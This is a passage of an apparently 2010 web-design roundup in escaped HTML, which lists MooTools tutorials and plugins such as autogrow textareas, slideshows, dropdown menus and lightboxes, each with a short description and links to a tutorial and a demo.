&lt;h4&gt;&lt;a href=&quot;http://digitarald.de/project/autocompleter/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://digitarald.de/project/autocompleter/1-1/showcase/delicious-tags/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;5. &lt;a href=&quot;http://bookballoon.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=39&quot;&gt;AutoGrow Textarea MooTools Plug-In&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://bookballoon.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=39&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18646&quot; height=&quot;285&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/AutoGrow-Textarea-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This MooTools plug-in expands a text-area as the user types something in  it.&amp;nbsp; This version is based on the jQuery plug-in developed by Chrys  Bader (www.chrysbader.com).&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://bookballoon.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=39&quot;&gt;Read Download Plug-in&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://mccull.org/gary/autogrow/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;6. &lt;a href=&quot;http://davidwalsh.name/mootools-animate-background&quot;&gt;Background Animations Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-animate-background&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18648&quot; height=&quot;132&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Background-Animations-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Mootools a JavaScript framework made animation very easy. This tutorial  will show how you can use animated effect in your website.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-animate-background&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/background-animation.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;7. &lt;a href=&quot;http://davidwalsh.name/mootools-pull-quotes&quot;&gt;Better Pull Quotes with MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-pull-quotes&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18649&quot; height=&quot;168&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Better-Pull-Quotes-Mootools-tutorials.png&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This tutorial will use MooTools to create a great-looking pull quotes  which will automatically display quotes without repeating any content.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-pull-quotes&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/mootools-pull-quote.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;8. &lt;a href=&quot;http://davidwalsh.name/slideshow-preload-images&quot;&gt;Create a Quick MooTools Slideshow with Preloading Images&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/slideshow-preload-images&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18650&quot; height=&quot;329&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-a-Quick-MooTools-Slideshow-with-Preloading-Images-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This code will let you learn how to create a simple image slideshow  using MooTools with the feature of pre-loading the images; which looks  more elegant and enhance the pleasure of viewing the images.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/slideshow-preload-images&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/preload-slideshow.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;9. &lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-simple-powerful-product-highlighter-with-mootools/&quot;&gt;Create a Simple, Powerful Product Highlighter with MooTools &lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-simple-powerful-product-highlighter-with-mootools/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18653&quot; height=&quot;264&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-a-Simple-Powerful-Product-Highlighter-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
In this tutorial we’ll be creating a flexible tool for highlighting the  products or services available on your website using the MooTools; a  JavaScript framework.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-simple-powerful-product-highlighter-with-mootools/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://nettuts.s3.amazonaws.com/022_Mootools/example.html&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;10.  &lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-spectacular-photo-gallery-with-mootools/&quot;&gt;Create a Spectacular Photo Gallery with MooTools &lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-spectacular-photo-gallery-with-mootools/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18654&quot; height=&quot;298&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-a-Spectacular-Photo-Gallery-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
In this tutorial, you will learn to combine many of MooTools’s features to create a nice and simple photo gallery.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/create-a-spectacular-photo-gallery-with-mootools/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://nettuts.s3.amazonaws.com/030_SpectacularPhotoGallery/gallery/index.html&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;11. &lt;a href=&quot;http://davidwalsh.name/css-sprite-menu&quot;&gt;Create a Sprited Navigation Menu Using CSS and MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/css-sprite-menu&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18656&quot; height=&quot;243&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-a-Sprited-Navigation-Menu-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
In this tutorial your will learn to create a sprited navigation menu using CSS and Mootools&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/css-sprite-menu&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/sprites-menu.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;12. &lt;a href=&quot;http://davidwalsh.name/animated-button&quot;&gt;Create an Animated Sliding Button Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/animated-button&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;alignleft size-full wp-image-18657&quot; height=&quot;95&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-an-Animated-Sliding-Button-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;235&quot; /&gt;&lt;/a&gt;Every  website should have attractive and good-looking buttons to gain the  attention and attraction of readers. If you want to be a successful  website owner you need to be creative and should not use the old style  boring buttons. In this tutorial you will learn to create an animated  sliding button using MooTools.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/animated-button&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/slide-button.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;13. &lt;a href=&quot;http://davidwalsh.name/snook-navigation-mootools&quot;&gt;Create Snook-Style Navigation Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;http://davidwalsh.name/snook-navigation-mootools&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-18659 aligncenter&quot; height=&quot;226&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-Snook-Style-Navigation-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This tutorial will teach how you can use an image and Mootools to create a slick mouse-over effect.&lt;/div&gt;&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/snook-navigation-mootools&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/snook-animation.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;14. &lt;a href=&quot;http://davidwalsh.name/twitter-dropdown&quot;&gt;Create Twitter-Style Dropdowns Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;http://davidwalsh.name/twitter-dropdown&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-18660 aligncenter&quot; height=&quot;290&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Create-Twitter-Style-Dropdowns-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Well, everybody must have seen the drop-down login menu to twitter. This  tutorial will teach you how you can duplicate that functionality of  twitter like drop-down menu using MooTools.&lt;/div&gt;&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/twitter-dropdown&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/twitter-dropdown.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;15. &lt;a href=&quot;http://davidwalsh.name/facebook-sliders-with-mootools-and-css-now-with-image-generation&quot;&gt;Facebook Sliders With MooTools and CSS&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/facebook-sliders-with-mootools-and-css-now-with-image-generation&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18665&quot; height=&quot;183&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Facebook-Sliders-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This tutorial will explain how to create Facebook-style sliders that control the height, width, and opacity of an image.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/facebook-sliders-with-mootools-and-css-now-with-image-generation&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/sliders-ajax-save.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;16. &lt;a href=&quot;http://lipidity.com/fancy-form/&quot;&gt;FancyForm&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://lipidity.com/fancy-form/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18668&quot; height=&quot;400&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/FancyForm-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
FancyForm script replaces old checkboxes with the new interactive and  flexible checkboxes with Tick being the sign for checked option and  cross for the unchecked option.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://lipidity.com/fancy-form/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://lipidity.com/fancy-form/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;17. &lt;a href=&quot;http://davidwalsh.name/iphone-password&quot;&gt;iPhone-Style Passwords Using MooTools PassShark&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/iphone-password&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18669&quot; height=&quot;80&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/iPhone-Style-Passwords-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
In this tutorial you will learn how to create a iPhone-like password  field, showing the most recently typed character and hiding previous per  normal password fields.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/iphone-password&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/iphone-password.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;18. &lt;a href=&quot;http://www.php-help.ro/mootools-12-javascript-examples/javascript-drop-down-menu-using-mootools-12/&quot;&gt;JavaScript drop down menu using Mootools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://www.php-help.ro/mootools-12-javascript-examples/javascript-drop-down-menu-using-mootools-12/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18673&quot; height=&quot;164&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/JavaScript-drop-down-menu-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Drop down menus are very important for any website layout and beauty. So  in this tutorial you will learn to create a very easy and unobtrusive  drop down menu using MooTools Core Build and the Fx.Slide.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://www.php-help.ro/mootools-12-javascript-examples/javascript-drop-down-menu-using-mootools-12/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.php-help.ro/examples/mootools1.2_drop_down_menu/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;19. &lt;a href=&quot;http://kroppr.rborn.info/&quot;&gt;Kroppr&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://kroppr.rborn.info/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18709&quot; height=&quot;263&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/kroppr-Mootools-tutorials1.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Kroppr is an image cropping tool for your website that allows users to  rotate, re-size and crop  images with minor changes to your site.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://kroppr.rborn.info/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://kroppr.rborn.info/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;20. &lt;a href=&quot;http://reghellin.com/milkbox/&quot;&gt;Milkbox&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://reghellin.com/milkbox/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18710&quot; height=&quot;409&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/themes/1stwd/img/grey.gif&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Milkbox is a simple and sleek lightbox clone written for MooTools.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://reghellin.com/milkbox/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://reghellin.com/milkbox/#&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;21. &lt;a href=&quot;http://www.outcut.de/MooFlow/example-skin.html&quot;&gt;MooFlow&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://www.outcut.de/MooFlow/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18711&quot; height=&quot;302&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/themes/1stwd/img/grey.gif&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
MooFlow give you a completely awesome browsing experience on your  website, almost same as you get on apple.com for viewing the products.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://www.outcut.de/MooFlow/Download.html&quot;&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.outcut.de/MooFlow/MooFlow.html&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;22. &lt;a href=&quot;http://moorainbow.woolly-sheep.net/&quot;&gt;mooRainbow&lt;/a&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://moorainbow.woolly-sheep.net/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-18714 aligncenter&quot; height=&quot;258&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/moorainbow-mootools-tuts.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;h4&gt;&lt;a href=&quot;http://moorainbow.woolly-sheep.net/#desc&quot;&gt;Description&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://moorainbow.woolly-sheep.net/#download&quot;&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://moorainbow.woolly-sheep.net/#demos&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;23. &lt;a href=&quot;http://www.artviper.net/website-tools/mooslide.php&quot;&gt;mooSlide &lt;/a&gt;&lt;/h2&gt;mooSlide replaces common lightbox with Ajax one. You can have any  type of content in it like HTML or FLASH, it can slide from top or  bottom. It can be very handy to create beautiful sliding login panel.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://www.artviper.net/website-tools/mooslide.php&quot;&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.artviper.net/website-tools/mooslide.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;24. &lt;a href=&quot;http://davidwalsh.name/mootools-countdown-plugin&quot;&gt;MooTools CountDown Plugin&lt;/a&gt;&lt;/h2&gt;I assume every one have used rapidshare at least for one time and had  to wait for some seconds for the downloading starts. Using MooTools you  can make a similar CountDown plugin by the use of which you can  implement the same system that rapidshare is using.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-countdown-plugin&quot;&gt;Original Link&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/moo-countdown.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;25. &lt;a href=&quot;http://davidwalsh.name/mootools-kwicks&quot;&gt;MooTools Kwicks Plugin&lt;/a&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-kwicks&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-18715 aligncenter&quot; height=&quot;258&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/MooTools-Kwicks-Plugin-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
MooTools Kwick Plugin will enable you to have a hidden detail of an image displayed when you take your cursor on that image.&lt;/div&gt;&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/get-slick-mootools-kwicks&quot;&gt;Original Link&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/kwicks.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;26. &lt;a href=&quot;http://davidwalsh.name/mootools-zoom&quot;&gt;MooTools Zoomer Plugin&lt;/a&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-zoom&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-18718 aligncenter&quot; height=&quot;185&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/MooTools-Zoomer-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Zoomer provides an elegant method for zooming in on large images.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-zoom&quot;&gt;Original Link&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/zoomer.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;27. &lt;a href=&quot;http://web-kreation.com/tutorials/morph-effect-on-mouseenter-mouseleave-with-mootools-12/&quot;&gt;Morph Effect on mouseenter/mouseleave with Mootools&lt;/a&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;http://web-kreation.com/tutorials/morph-effect-on-mouseenter-mouseleave-with-mootools-12/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-18719 aligncenter&quot; height=&quot;150&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Morph-Effect-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
In this tutorial you will learn to add an elegant morph effect on  unordered list on mouseover.&amp;nbsp; Demo can elaborate more about this  tutorial.&lt;/div&gt;&lt;h4&gt;&lt;a href=&quot;http://web-kreation.com/tutorials/morph-effect-on-mouseenter-mouseleave-with-mootools-12/&quot;&gt;Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://web-kreation.com/download/20/&quot;&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.web-kreation.com/demos/mootools-1.2_mouseenter-mouseleave/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;28.  &lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/sexy-animated-tabs-using-mootools/&quot;&gt;Sexy Animated Tabs Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/sexy-animated-tabs-using-mootools/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;size-full wp-image-18721 aligncenter&quot; height=&quot;132&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Sexy-Animated-Tabs-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;/div&gt;If you have less space and more content to display then you can use  tab systems. This tutorial will show you how to create sexy and animated  tabs which can handle lot of content in little space.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/javascript-ajax/sexy-animated-tabs-using-mootools/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/mootools-tabs.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;29. &lt;a href=&quot;http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools&quot;&gt;Sexy sliding JavaScript side bar menu using mootools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18722&quot; height=&quot;292&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Sexy-sliding-JavaScript-side-bar-menu-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
A sliding menu can help you to save a lot of space on your website. This  tutorial will use MooTools to create a sexy sliding side bar menu with  very smooth sliding effect.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.andrewsellick.com/examples/sliding-side-bar/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;30. &lt;a href=&quot;http://davidwalsh.name/sliding-labels-mootools&quot;&gt;Sliding Labels Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/sliding-labels-mootools&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18723&quot; height=&quot;252&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Sliding-Labels-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This tutorial will teach you to create sliding labels using little  jQuery code. Luckily the effect doesn’t require much MooTools code  either!&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/sliding-labels-mootools&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/sliding-labels.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;31. &lt;a href=&quot;http://davidwalsh.name/mootools-fx-smoothscroll&quot;&gt;Smooth Scrolling with MooTools Fx.SmoothScroll&lt;/a&gt;&lt;/h2&gt;Learn to create smooth scrolling effect using MooTools &lt;a href=&quot;http://mootools.net/docs/more/Fx/Fx.SmoothScroll&quot;&gt;Fx.SmoothScroll&lt;/a&gt;.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/mootools-fx-smoothscroll&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/fx-smoothscroll.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;32. &lt;a href=&quot;http://andrewplummer.com/code/tablegear/&quot;&gt;TableGear&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://andrewplummer.com/code/tablegear/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18725&quot; height=&quot;177&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/TableGear-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
TableGear is a software package for working with data on the web. It is  designed get your data into a web page, and let you work with it quickly  and easily, the way you would in powerful desktop applications like  Excel.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://andrewplummer.com/code/download/tablegear/&quot;&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://andrewplummer.com/demos/tablegear/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;33. &lt;a href=&quot;http://woork.blogspot.com/2008/03/two-css-vertical-menu-with-showhide.html&quot;&gt;Two CSS vertical menu with show/hide effects&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://woork.blogspot.com/2008/03/two-css-vertical-menu-with-showhide.html&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18726&quot; height=&quot;211&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Two-CSS-vertical-menu-with-show-hide-effects-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
This is a simple tutorial which will teach you to create two vertical  menu with hide/shoe effect. One example will use Simple JavaScript and  other will use MooTools.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://woork.blogspot.com/2008/03/two-css-vertical-menu-with-showhide.html&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
